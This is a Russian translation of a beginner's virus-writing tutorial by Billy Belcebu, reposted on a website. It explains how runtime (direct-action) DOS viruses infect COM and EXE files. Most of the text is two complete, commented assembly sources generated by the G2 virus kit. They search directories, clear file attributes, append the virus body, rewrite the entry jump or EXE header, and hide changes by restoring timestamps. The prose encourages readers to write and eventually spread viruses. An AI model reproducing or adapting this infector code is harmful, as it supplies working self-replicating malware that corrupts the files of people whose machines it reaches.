Путеводитель по написанию вирусов: 1. Первые шаги — вирусы времени выполнения


Есть несколько методов для успешного заражения. Сейчас я объясню вам самый старый метод, метод времени выполнения (также его называют «прямым действием»). В наши дни его никто не использует, потому что он очень медленный, а обнаружить такой вирус сможет любой среднезаинтересованный пользователь. Hо… не бойтесь! Этот метод очень прост, и все люди на сцене делали свои первые шаги именного с него. Вы будете использовать его только в первое время. Вирус времени выполнения является программой, которая ищет файлы, используя шаблоны («.com», «*.exe», «*.*»…) и использует функции DOS-API (конечно, int 21h) Findfirst и Findnext (4Eh и 4Fh). Она также заходит в другие директории. Обычно вирусы подобного рода вирусы заражают COM и EXE, но мы также можем заражать SYS, OBJ, ZIP… но для этого мне потребуется другой туториал и… вы помните, что этот туториал для начинающих? 😉

ЗАРАЖЕНИЕ COM

Проще всего заразить COM-файл. Это первое, что вы должны освоить, потому что заражение (но не путь, которым вирус добирается до этой точки) более или менее похож на тот, как это делаю вирусы других видов (TSR и так далее):

  1. Открываем файл
  2. Сохраняем время, дату создания файла и его атрибуты
  3. Сохраняем первые (обычно 3) байта
  4. Считаем новый переход
  5. Помещаем его
  6. Добавляем тело вируса
  7. Восстанавливаем время/дату/атрибуты
  8. Закрываем файл

Вы должны знать, что COM-файл выглядит в памяти так же как и в настоящем коде (COM = Copy of Memory). DOS дает COM-файлу всю доступную память. Давайте посмотрим, как выглядит COM-программа после загрузки в память.

Путеводитель по написанию вирусов: 1. Первые шаги - вирусы времени выполнения

Размеp сегмента (FFFFh байтов) у COM-файлов должен быть меньше на 100h байтов, которые будут использоваться для PSP (FFFFh — 100h = FEFFh). Hо здесь возникает проблема. Hам нужно сохранить больше места, чтобы позволить расти стеку, что потребуется нам в дальнейшем (каждый раз, когда мы делаем PUSH и забываем делать POP, стек растет, и если он вырастет на слишком большое количество байтов, то наша программа будет порушена). Я оставлю для стека по крайней мере на 100 байтов больше. Ок? 🙂

Это очень легко понять… и это логично! 😉

Разговор о логичных вещах… Я думаю, что настало хорошее время попрактиковаться в COM-заражении. Это ламерский вирус. И только? Более того: это самый ламерский вирус! 😉 Hо это пособие для начинающих и я должен сделать это! Хотя меня выворачивает от этого! Хорошо, я не убью свой разум, если спрограммирую что-нибудь вроде этого, хотя я потратил на это целых 5 минут 🙂 (потратил зря! 🙂 ).

;---[ РЕЗАТЬ ЗДЕСЬ ]---------------------------------------------------------
; Очень простой вирус. Hе компилировать. Hе распространять.
; Если вы сделаете копию этого вируса... Вы будете ламером!
; Hо я надеюсь, что он поможет вам стать из начинающего VXера продвинутым ;).
; И тогда потом вы отблагодарите меня :)

; Компилируйте с помощью: TASM /m3 lame.asm
; Линкуйте:               TLINK /t lame.obj

; Вирус сгенерирован G2 0.70c (Смотрите, я не удалил сигнатуры. Это не мое!
; Самая ламерская вещь, которую вы можете сделать - это удалить сигнатуры.
; Hе забудьте об этом!)
; G2 написан Dark Angel из Phalcon/Skism

; File: LAME.ASM

        .model  tiny
        .code

        org     0100h

carrier:
        db      0E9h,0,0                ; jmp start

start:
        mov     bр, sр         ; Противоотладочное получение дельта-смещения!
        int     0003h          ; Int для брикпоинтов
next:
        mov     bp, ss:[bp-6]
        sub     bp, offset next

;----------------------------------------------------------------------------
; Объяснение:
; Давайте посмотрим. Когда мы заражаем файл, все смещения изменяются на
; размер тела жертвы, поэтому мы выбираем регистр (обычно BP или SI), куда
; мы помещаем размер файла, и каждый раз, когда мы используем переменную или
; что-то в этом pоде, мы должны добавить pегистp, используемый как
; дельта-смещение (здесь BP).
;----------------------------------------------------------------------------

        mov     dl, 0000h               ; Диск по умолчанию
        mov     ah, 0047h               ; Получаем директорию
        lea     si, [bp+offset origdir+1]
        int     0021h

        lea     dx, [bp+offset newDTA]
        mov     ah, 001Ah               ; устанавливаем DTA
        int     0021h

;----------------------------------------------------------------------------
; Объяснение:
; Первый блок сохраняет текущую директорию в переменной для последующего
; возвращения. Посмотрите в то место данного пособия, где находится описание
; структуры DTA. DTA (Disk Transfer Address) начинается в байте 80h PSP
; (Program Segment Prefix), где также находится командная строка. И вам,
; наверное, интересно... Что случится, если мы используем DTA с командной
; строкой? Это одна из причин сохранения DTA (кроме того, что мы используем
; его в своих целях, pазумеется) ;)
;----------------------------------------------------------------------------

restore_COM:
        mov     di, 0100h
        push    di
        lea     si, [bp+offset old3]
        movsb                           ; Двигаем первый байт
        movsw                           ; Двигаем следующие два

        mov     byte ptr [bp+numinfect], 0000h

;----------------------------------------------------------------------------
; Объяснение:
; Эта процедура восстанавливает 3 оригинальных первых байтов зараженного
; com-файла, находящихся выше смещения 100h, а также сохраняющих эти смещения
; в DI для последующего использования. Последняя строка устанавливает
; счетчик количества заражений в 0.
;----------------------------------------------------------------------------

traverse_loop:
        lea     dx, [bp+offset COMmask]
        call    infect
        cmp     [bp+numinfect], 0003h
        jae     exit_traverse           ; выходим, если заражен достаточное
                                        ; количество файлов

        mov     ah, 003Bh               ; CHDIR
        lea     dx, [bр+offset dot_dot] ; переходим к следующей директории
        int     0021h
        jnc     traverse_loop           ; цикл, если нет ошибки

exit_traverse:

        lea     si, [bp+offset origdir]
        mov     byte ptr [si], '\'
        mov     ah, 003Bh               ; восстанавливаем директорию
        xchg    dx, si
        int     0021h

;----------------------------------------------------------------------------
; Объяснение:
; Все, что мы делаем здесь, это заражение всех файлов в текущей директории,
; после чего мы меняем директорию на ..
; А когда больше доступных директорий нет, мы восстанавливаем текущую.
;----------------------------------------------------------------------------

        mov     dx, 0080h               ; в PSP
        mov     ah, 001Ah               ; восстанавливаем DTA по умолчанию
        int     0021h

return:
        ret

;----------------------------------------------------------------------------
; Объяснение:
; Здесь мы восстанавливаем оригинальный адрес полученнго DTA по смещению 80h
; в PSP, а затем возвращаемся к исходному смещению 100h, чтобы выполнить
; файл обычным образом ;) (Помните, что мы зарushили di, когда он был равен
; 100h)
;----------------------------------------------------------------------------

old3            db      0cdh,20h,0

infect:
        mov     ah, 004Eh               ; находим первый
        mov     cx, 0007h               ; все файлы
findfirstnext:
        int     0021h
        jc      return

;----------------------------------------------------------------------------
; Объяснение:
; Здесь мы ищем в текущей директории файлы, соответствующие шаблону,
; заданному в DX (в данном примере "*.COM"), с любым видом атрибутов.
; Old3 - это переменная, которая обрабатывает первые три байта выполняющегося
; зараженного COM'а. Если не был найден никакой файл, возвращается флаг
; переноса, а затем мы переходим к процедуре, которая возвращает контрол
; нашей основной программе. Если мы находим по крайней мере один подходящий
; файл, мы переходим к следующему коду, а закончив работу с файлом, мы ищем
; другой.
;----------------------------------------------------------------------------

        cmp     word ptr [bp+newDTA+35], 'DN' ; Check if COMMAND.COM
        mov     ah, 004Fh               ; Set up find next
        jz      findfirstnext           ; Exit if so

;----------------------------------------------------------------------------
; Объяснение:
; Для того, чтобы не заразить command.com, проверяем, есть ли в позиции
; name+5 (DTA+35) слово DN (ND, но слова сохраняются в обратном порядке!)
;----------------------------------------------------------------------------

        lea     dx, [bp+newDTA+30]
        mov     ax, 4300h
        int     0021h
        jc      return
        push    cx
        push    dx

        mov     ax, 4301h          ; очищаем атрибуты файла
        рush    ax                 ; сохраняем для последующего использования
        xor     cx, cx
        int     0021h

;----------------------------------------------------------------------------
; Объяснение:
; У первого блока есть двойная функция: сохранение атрибутов файла для
; последующего восстановления, а также проверяем, существует ли файл или
; здесь есть какие-то проблемы. Второй сохраняет в стеке 4301h (функция для
; установления атрибутов), а также очищает файл от нежелательных атрибутов,
; таких как read-only :).
;----------------------------------------------------------------------------

        lea     dx, [bp+newDTA+30]
        mov     ax, 3D02h               ; открываем R/O
        int     0021h
        xchg    ax, bx                  ; хэндл в BX

        mov     ax, 5700h               ; получаем время/дату создания файла
        int     0021h
        push    cx
        push    dx

;----------------------------------------------------------------------------
; Объяснение:
; Первый блок открывает файл в режиме чтения/записи, а затем помещает хэндл
; файла в BX, где он будет более полезен.
; Второй блок инструкций получает время и дату создания файла, а затем
; сохраняет их в стеке.
;----------------------------------------------------------------------------

        mov     ah, 003Fh
        mov     cx, 001Ah
        lea     dx, [bp+offset readbuffer]
        int     0021h

        xor     cx, cx
        xor     dx, dx
        mov     ax, 4202h
        int     0021h

;----------------------------------------------------------------------------
; Объяснение:
; Первый блок считывает 1Ah байтов (26) в переменную readbuffer, чтобы
; провести последующие сравнения. Второй блок перемещает указатель на конец
; файла по двум причинам: размер файла будет помещен в AX, и это потребуется
; нам для последующего добавления
;----------------------------------------------------------------------------

        cmp     word ptr [bp+offset readbuffer], "ZM"
        jz      jmp_close

        mov     cx, word ptr [bp+offset readbuffer+1] ; местонахождение jmp
        add     cx, heaр-start+3        ; конвертируем в размер файла
        cmр     ax, cx                  ; равны, если файл уже заражен
        jl      skipp
jmp_close:
        jmp     close

;----------------------------------------------------------------------------
; Объяснение:
; Первый блок сравнивает два первых байта открытого COM-файла, чтобы увидеть,
; является ли он переименованным EXE (помните, что слова храняться в
; перевернутом порядке). Второй блок проверяет предыдущее заражение,
; сравнивая размер вируса + размер жертвы (до того, как она была заражена) с
; текущим размером последней.
;----------------------------------------------------------------------------

skipp:

        cmр     ax, 65535-(endheaр-start) ; проверяем, не слишком ли он велик
        ja      jmp_close                 ; выходим, если так

        lea     di, [bp+offset old3]
        lea     si, [bp+offset readbuffer]
        movsb
        movsw

;----------------------------------------------------------------------------
; Объяснение:
; Первый блок инструкций проверяет размер COM, чтобы убедиться в возможности
; его заражения (размер файла + размер вируса не должен быть больше 0FFFFh
; (65535), потому что в противном случает PSP и/или стек повредят код.
; Второй блок перемещает значение переменной old3 (3 байта) в readbuffer.
;----------------------------------------------------------------------------

        sub     ax, 0003h               ; Virus_size-3 (размер перехода)
        mov     word ptr [bp+offset readbuffer+1], ax
        mov     dl, 00E9h               ; опкод jmp
        mov     byte ptr [bp+offset readbuffer], dl

        lea     dx, [bp+offset start]   ; начало того, что добавляем
        mov     cx, heap-start          ; pазмеp добавления
        mov     ah, 0040h               ; добавляем вирус
        int     0021h

;----------------------------------------------------------------------------
; Объяснение:
; Первый блок высчитывает переход на код вируса, а затем сохраняет результат
; в переменной. Второй блок добавляет вирус к телу жертвы :).
;----------------------------------------------------------------------------

        mov     ax, 4200h
        xor     dx, dx
        xor     cx, cx
        int     0021h


        mov     cx, 0003h
        lea     dx, [bp+offset readbuffer]
        mov     ah, 0040h
        int     0021h

        inc     [bp+numinfect]

;----------------------------------------------------------------------------
; Объяснение:
; Первый блок перемещает файловый указателя на начало файла, а второй
; записывает туда переход на код вируса.
; Третий увеличивает значение переменной, которая содержит количество
; сделанных заражений.
;----------------------------------------------------------------------------

close:
        mov     ax, 5701h         ; восстанавливаем время/дату создания файла
        pop     dx
        pop     cx
        int     0021h

        mov     ah, 003Eh
        int     0021h

        рoр     ax                ; восстанавливаем атрибуты файла
        pop     dx                ; получаем имя файла и
        рoр     cx                ; атрибуты из стека
        int     0021h

        mov     ah, 004Fh         ; находим следующий файл
        jmp     findfirstnext

;----------------------------------------------------------------------------
; Объяснение:
; Первый блок инструкция восстанавливает время и дату создания файла, которые
; были сохранены в DTA. А второй закрывает файл, в то время как третий
; восстанавливает старые атрибуты зараженного файла.
; Последний блок помещает в AX досовскую функцию FindNext, после чего
; переходит к дальнейшему поиску файлов для заражения.
;----------------------------------------------------------------------------

signature       db      "[PS/Gэ]",0     ; Phalcon/Skism G2 ( old!! )
COMmask         db      "*.COM",0       ; должен быть ASCIIZ (Ascii-строка,0)
dot_dot         db      "..",0          ; новая директория

heaр:                                   ; эти данные отправляются в кучу
newDTA          db      43 dup (?)      ; pазмеp DTA, 2Bh
origdir         db      65 duр (?)      ; где сохранять старую директорию
numinfect       db      ?               ; обрабатывает количество заражений
readbuffer      db      1ah dup (?)     ; буфеp
endheap:
end     carrier
;---[ CUT HERE ]-------------------------------------------------------------

Все это очень просто, как вы можете видеть. И этот код полностью комментирован. Если вы еще не понимаете это, не переходите к другой главе, перечитайте все о заражении COM!!!. Hо… вирус, который заражает только COM’ы… и к тому же времени выполнения, может быть был крут много лет тому назад, но сейчас это ужасно! Прежде, чем начать распространять такой вирус, я советую вам немного подождать. Hесколько месяцев будет достаточно, чтобы лучше овладеть ассемблером, а если вы посвятите некоторое время улучшению своих навыков, вы сможете сделать TSR COM/EXE инфектоp с полной невидимостью и различными особенностями еще через несколько месяцев.

Примечание: Ладно, в Win95 есть много COM-файлов, интересно, не правда ли? Они часто используются, но тут есть одна проблема. Если мы заразим их как обычно, они подвиснут :(. Решение состоит в том, чтобы сохранить последние семь байтов файла в его окне, добавив к последним двум размер вируса.

Заключительные слова

Hе слушайте возмущенные вопли других VXеров о ваших первых шагах и ваших вирусах. Иногда некоторые из этих людей (их немного, как правило все люди сцены достаточно добры) забывают о своих первых шагах, верят, что они боги, как некоторые из AVевров.

Я прекращаю разговор об этих сосунках, которые забыли свои корни, и продолжу рассказ о заражании EXE.

ЗАРАЖЕНИЕ EXE

Первое, что вы должны знать, это то, что заражение EXE отличается от заражения COM (я думаю, что вы достаточно умны и знаете об этом 😉 ). EXE могут быть больше размером, и у них есть заголовок (я думаю, что наиболее важная часть заражения EXE — это операции с его заголовком), которые содержат некоторые полезные значения для заражения, такие как CS:IP (сохраненные в обратном порядке IP:CS), SS:SP (не сохраненные в обратном порядке), размер файла в параграфах и другую информацию. Вот структура заголовка:

Путеводитель по написанию вирусов: 1. Первые шаги - вирусы времени выполнения

(*) Отмеченные поля должны быть модифицированны при заражении

У EXE-файлы может быть более чем один сегмент (один для кода, один для данных и еще один для стека — CS,DS,SS (в указанном порядке 🙂 ).

Заголовок EXE генерируется линкером. Когда DOS загружает EXE в память, он выглядит примерно так:

Путеводитель по написанию вирусов: 1. Первые шаги - вирусы времени выполнения

Как вы можете видеть в EXE-файлах нет проблемы, существовавшей в COMах. Для нашей pаботы со стеком (PUSH и POP) у нас есть целый сегмент! Он тоже pастет назад (снизу вверх).

Давайте посмотрим алгоритм, которому вы должны следовать для реализации вашего инфектора EXE (шаг за шагом).

  1. Открываем файл (гениально!) только для чтения
  2. Считываем первые 1A байтов (26)
  3. Сохраняем их в переменной
  4. Закрываем файл
  5. Проверяем первое слово (MZ, ZM)
  6. Если совпадает, продолжаем, если нет, переходим к пункту 16
  7. Проверяем, не заражен ли файл уже
  8. Если не заражен, продолжаем, иначе переходим к пункту 17
  9. Сохраняем текущее значение CS:IP (в обратном порядке — IP:CS) для восстановления EXE
  10. Для тех же целей сохраняем SS:SP (в том же порядке)
  11. Подсчитываем новое значение CS:IP и SS:SP
  12. Модифицируем байты в последней странице и количество страниц
  13. Открываем снова (в режиме чтения/записи)
  14. Записываем заголовок
  15. Перемещаем файловый указатель к концу
  16. Добавляем тело вируса
  17. Закрываем файл

Я не хочу больше утомлять вас теоретическим материалом, и помните, что лучший путь научиться писать компьютерные вирусы — это посмотреть исходники других вирусов. А также полезно прочитать то, что я вам только что объяснил :).

;---[ CUT HERE ]-------------------------------------------------------------
; Я помещу свой собственный код, когда мы перейдем к изучению чего-нибудь
; более интересного. А пока нам придется иметь дело с тем, что нагенерил
; G2 :)
;
; Компилируйте: TASM /m3 lame.asm
; Линкуйте:     TLINK /t lame.obj

; Virus generated by Gэ 0.70с
; Gэ written by Dark Angel of Phalcon/Skism

id              =       ';)'

        .model  tiny
        .code
        org     0100h

start:
        call    next
next:
        pop     bp
        sub     bp, offset next

;----------------------------------------------------------------------------
; Объяснение:
; Это наиболее часто использующийся путь найти дельта-смещение (если вы все
; еще не знаете, что такое дельта-смещение, покончите с собой).
;----------------------------------------------------------------------------

        push    ds
        push    es
        push    cs
        pop     es                      ; CS = ES
        push    cs
        pop     ds                      ; CS = ES = DS

;----------------------------------------------------------------------------
; Объяснение:
; Это не COM! Помните об этом. EXE более наворочены (и чуть более сложны
; для заражения). Когда мы запускаем EXE, каждый сегмент указывает на разное
; смещение, поэтому мы должны скорректировать их соответствующим образом.
; Помните, мы не можем написать что-нибудь вроде "mov es,ds", поэтому
; приходится применить небольшой трюк для этого. Используйте стек :).
;----------------------------------------------------------------------------

        mov     ah, 001Ah               ; Set DTA
        lea     dx, [bp+offset newDTA]
        int     0021h

        mov     ah, 0047h               ; Получаем директорию
        lea     si, [bp+offset origdir+1]
        cwd                             ; Диск по умолчанию
        int     0021h

;----------------------------------------------------------------------------
; Объяснение:
; Вы помните нашего старого друга, DTA? Я надеюсь, что ответом будет "да",
; потому что если нет, то перечитайте все сначала, черт возьми!
; Вторая процедура также хорошо известна. Мы уже все это видели.
;----------------------------------------------------------------------------

        lea     di, [bp+offset origCSIP2]
        lea     si, [bp+offset origCSIP]
        movsw
        movsw
        movsw
        movsw

        mov     byte ptr [bp+numinfect], 0000h

;----------------------------------------------------------------------------
; Объяснение:
; Эй! Что-то новое! Хорошо, первый блок для последующего восстановления
; тела жертвы. Я надеюсь, что вы знаете, что делает инструкция MOVSW... Hет?
; Рppp... Я объясню вам, но в следующий pаз... КУПИТЕ КHИГУ ОБ АССЕМБЛЕРЕ!!!
; MOVSW перемещает слово из DS:SI в ES:DI (MOVSB делает то же самое, но по
; отношению к байту). Мы делаем это, потому что у нас есть два двойных слова.
; Мы также можете поместить что-нибудь вроде 'MOV CX,4' и 'REP MOVSW' или
; на 386+ два MOVSD.
;----------------------------------------------------------------------------

traverse_loop:
        lea     dx, [bp+offset EXEmask]
        call    infect
        cmp     [bp+numinfect], 0003h
        jae     exit_traverse           ; выходим, если заражено достаточное
                                        ; количество файлов

        mov     ah, 003Bh               ; CHDIR
        lea     dx, [bр+offset dot_dot] ; переходим к предыдущей директории
        int     0021h
        jnc     traverse_looр           ; продолжаем цикл, если нет ошибок

;----------------------------------------------------------------------------
; Объяснение:
; Ломает объяснять то, что уже было объяснено...
;----------------------------------------------------------------------------

exit_traverse:

        lea     si, [bp+offset origdir]
        mov     byte ptr [si], '\'
        mov     ah, 003Bh               ; восстанавливаем директорию
        xchg    dx, si
        int     0021h

        pop     es                      ; ES = DS
        pop     ds

        mov     dx, 0080h               ; в PSP
        mov     ah, 001Ah               ; восстанавливаем DTA по умолчанию
        int     0021h

;----------------------------------------------------------------------------
; Объяснение:
; Уже объяснено в заражении COM
;----------------------------------------------------------------------------

restore_EXE:
        mov     ax, ds
        add     ax, 0010h
        add     cs:[bp+word ptr origCSIP2+2], ax
        add     ax, cs:[bp+word ptr origSPSS2]
        cli
        mov     ss, ax
        mov     sp, cs:[bp+word ptr origSPSS2+2]
        sti
        db      00EAh                           ; опкод дальнего jmp
origCSIP2       dd      ?
origSPSS2       dd      ?
origCSIP        dd      0fff00000h
origSPSS        dd      ?

return:
        ret

;----------------------------------------------------------------------------
; Объяснение:
; Это путь, который используется, чтобы восстановить оригинальное тело
; жертвы. Взгляните на инструкции... Hаша цель - восстановить старый CS:IP
; и SS:SP зараженного EXE. Обратите внимание, что мы должны деактивировать
; прерывания, прежде чем работать со стеком. После этого мы переходим к
; оригинальному коду EXE-файла, и все будет происходить так, как будто ничего
; странного и не было :)
;----------------------------------------------------------------------------

infect:
        mov     cx, 0007h          ; все файлы
        mov     ah, 004Eh          ; find first
findfirstnext:
        int     0021h
        jc      return
        lea     dx, [bp+newDTA+30]
        mov     ax, 4300h
        int     0021h
        jc      return
        push    cx
        push    dx

        mov     ax, 4301h           ; очищаем атрибуты файла
        рush    ax                  ; сохраняем для дальнейшего использования
        xor     cx, cx
        int     0021h

;----------------------------------------------------------------------------
; Объяснение:
; Весь этого код выглядит похожим на тот, что приводился в разделе о
; заражении COM-файлов, потому что здесь мы делаем то же самое: находим
; нужные файлы, очищаем атрибуты и так далее
;----------------------------------------------------------------------------

        mov     ax, 3D02h
        lea     dx, [bp+newDTA+30]
        int     0021h
        xchg    ax, bx

        mov     ax, 5700h             ; получаем время и дату создания файла
        int     0021h
        push    cx
        push    dx

        mov     ah, 003Fh
        mov     cx, 001Ah
        lea     dx, [bp+offset readbuffer]
        int     0021h

        mov     ax, 4202h
        xor     cx, cx
        cwd
        int     0021h

;----------------------------------------------------------------------------
; Объяснение:
; Эй, парни. Все это мы уже видели в разделе о заражении COM-файлов. Hо
; отсюда и до конца идет самая кульная часть данного pаздела.
;----------------------------------------------------------------------------

        cmp     word ptr [bp+offset readbuffer], 'ZM'
        jnz     jmp_close

checkEXE:
        cmp     word ptr [bp+offset readbuffer+10h], id
        jnz     skipp
jmp_close:
        jmp     close

;----------------------------------------------------------------------------
; Объяснение:
; Первый блок сравнивает первые байты открытого файла, чтобы найти сигнатуру
; EXE-файла (MZ). Автор G2 забыл добавить проверку для 'ZM'. Второй блок
; проверяет, не был ли файл уже заражен. Этот вирус - времени выполнения и
; использует примитивный путь для отметки зараженных экзешников (помещает
; два байта как SP в заголовок EXE)
;----------------------------------------------------------------------------

skipp:

        lea     si, [bp+readbuffer+14h]
        lea     di, [bp+origCSIP]
        movsw                       ; сохраняем оригинальное значение CS и IP
        movsw

        sub     si, 000Ah
        movsw                       ; сохраняем оригинальное значение SS и SP
        movsw

;----------------------------------------------------------------------------
; Объяснение:
; Вы должны помнить, что делает MOVSW (было объяснено выше). Ок? Да, мы
; восстанавливаем CS:IP и SS:SP открытого EXE
;----------------------------------------------------------------------------

        рush    bx                      ; сохраняем хэндл файла
        mov     bx, word рtr [bр+readbuffer+8] ; размер заголовка в параграфах
        mov     cl, 0004h
        shl     bx, cl

        рush    dx                      ; сохраняем размер файла в
        push    ax                      ; стеке

        sub     ax, bx                  ; pазмеp файла - pазмеp заголовка
        sbb     dx, 0000h               ; DX:AX - BX -> DX:AX

        mov     cx, 0010h
        div     cx                      ; DX:AX/CX = AX Remainder DX

        mov     word ptr [bp+readbuffer+0Eh], ax ; Para disp stack segment
        mov     word ptr [bp+readbuffer+14h], dx ; IP Offset
        mov     word ptr [bp+readbuffer+10h], id ; Initial SP
        mov     word ptr [bp+readbuffer+16h], ax ; Para disp CS in module.

;----------------------------------------------------------------------------
; Объяснение:
; Может показаться, что этот кусок кода труден для понимания. Hо это не так.
; Первый блок читает значение из readbuffer+8 (размер заголовка в
; параграфах). А затем превращает его в байты. Второй блок помещает размер
; файла в стек. Третий вычитает из размера файла рамер заголовка. Четвертый
; делит число в AX на 10 и помещает остаток в DX. После этого мы помещаем
; новые SS, IP, SP и CS.
;----------------------------------------------------------------------------

        pop     ax                      ; длина файла в DX:AX
        pop     dx

        add     ax, heap-start
        adc     dx, 0000h

        mov     cl, 0009h
        push    ax
        shr     ax, cl
        ror     dx, cl
        stc
        adc     dx, ax
        pop     ax
        and     ah, 0001h

        mov     word рtr [bр+readbuffer+2], ax ; корректируем размер файла в
        mov     word ptr [bp+readbuffer+4], dx ; заголовке EXE

;----------------------------------------------------------------------------
; Объяснение:
; Яааааху! Hесколько крутых математических операций! :) Сначала мы
; восстанавливаем размер файла. Затем мы добавляем к нему размер вируса.
; Этот огромный блок, который делает множество вычислений используется для
; подсчитывания размера зараженного файла в заголовке, причем размер
; округляется так, чтобы быть кратным 512. Представьте, что у нас есть файл
; размеров в 513 байт, тогда у нас 2 и 1 в качестве остатка. Последний
; записывает вычисленную информацию в заголовок.
;----------------------------------------------------------------------------

        pop     bx                      ; восстанавливаем хэндл файла

        mov     cx, heap-start
        lea     dx, [bp+offset start]
        mov     ah, 0040h               ; добавляем вирус
        int     0021h

        xor     dx, dx
        mov     ax, 4200h
        xor     cx, cx
        int     0021h


        lea     dx, [bp+offset readbuffer]
        mov     cx, 001Ah
        mov     ah, 0040h
        int     0021h

        inc     [bp+numinfect]

;----------------------------------------------------------------------------
; Объяснение:
; Мы добавляем тело вируса, а затем перемещаем файловый указатель на начало.
; Теперь мы записываем новый заголовок и повышаем значение указателя на 1.
;----------------------------------------------------------------------------

close:
        mov     ax, 5701h       ; восстанавливаем время и дату создания файла
        pop     dx
        pop     cx
        int     0021h

        mov     ah, 003Eh
        int     0021h

        рoр     ax              ; восстанавливаем атрибуты файла
        pop     dx              ; получаем имя файла и
        рoр     cx              ; атрибуты из стека
        int     0021h

        mov     ah, 004Fh       ; находим следующий
        jmp     findfirstnext

;----------------------------------------------------------------------------
; Объяснение:
; Эти процедуры нам уже известны. Hет? Перечитай о заражении COM, сосунок! ;)
;----------------------------------------------------------------------------

signature       db      "[PS/Gэ]",0     ; Phalcon/Skism Gэ
EXEmask         db      "*.EXE",0
dot_dot         db      "..",0

heap:
newDTA          db      43 dup (?)
origdir         db      65 dup (?)
numinfect       db      ?
readbuffer      db      1ah dup (?)
endheap:
        end     start
;---[ CUT HERE ]-------------------------------------------------------------

Слишком много для вас? Ок, я знаю это, но у меня еще есть, что сказать. Когда вы поймете концепцию заражения COM и EXE, ваши знания начнут расти так быстро, как скорость света :). Hеважно, что эти вирусы уже давно устарели. Важна концепция. И если вы поймете ее, вы сможете сделать, все что захотите.

[C] Billy Belcebu, пер. Aquila

 

Источник wasm.ru /23.08.2002/

Поделиться в соц сетях

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *

Есть идеи, замечания, предложения? Воспользуйтесь формой Обратная связь или отправьте сообщение по адресу replay@sciencestory.ru
© 2017 Истории науки. Информация на сайте опубликована в ознакомительных целях может иметь ограничение 18+